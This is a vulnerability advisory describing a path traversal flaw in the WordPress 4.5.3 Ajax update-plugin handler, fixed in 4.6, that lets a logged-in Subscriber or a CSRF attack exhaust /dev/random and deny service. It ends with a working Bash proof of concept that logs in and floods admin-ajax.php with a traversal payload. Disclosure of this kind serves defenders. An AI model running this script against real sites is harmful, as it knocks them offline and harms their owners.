Path traversal vulnerability in WordPress Core Ajax handlers

Abstract

A path traversal vulnerability was found in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site.

OVE ID

OVE-20160712-0036

Tested versions

This issue was successfully tested on the WordPress version 4.5.3.

Fix

WordPress version 4.6 mitigates this vulnerability by moving the CSRF check to the top of the affected method(s).

Introduction

WordPress is web software that can be used to create a website, blog, or app. A path traversal vulnerability exists in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site.

Details

The path traversal vulnerability exists in the file ajax-actions.php, in particular in the function wp_ajax_update_plugin(). The vulnerable code is shown below.

Figure1: vulnerable code wp_ajax_update_plugin()

As can be seen in the code above, the function first tries to retrieve some version information from the target plugin. After this is done, it checks the user's privileges and it will verify the nonce (to prevent Cross-Site Request Forgery). The code that retrieves the version information from the plugin is vulnerable to path traversal. Since the security checks are done at a later stage, the affected code is reachable by any logged on user, including Subscribers.

Potentially this issue can be used to disclose information, provided that the target file contains a line with Version:. What is more important that it also allows for a denial of service condition as the logged in attacker can use this flaw to read up to 8 KB of data from /dev/random. Doing this repeatedly will deplete the entropy pool, which causes /dev/random to block; blocking the PHP scripts. Using a very simple script, it is possible for an authenticated user (Subscriber) to bring down a WordPress site. It is also possible to trigger this issue via Cross-Site Request Forgery as the nonce check is done too late in this case.

Proof of concept

The following Bash script can be used to trigger the denial of service condition.

#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)
	
# login
curl --cookie-jar "$cookiejar" \
	--data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
	"$target/wp-login.php" \
	>/dev/null 2>&1
	
# exhaust apache
for i in `seq 1 1000`
	do
		curl --cookie "$cookiejar" \
		--data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
		"$target/wp-admin/admin-ajax.php" \
		>/dev/null 2>&1 &
done
	
rm "$cookiejar"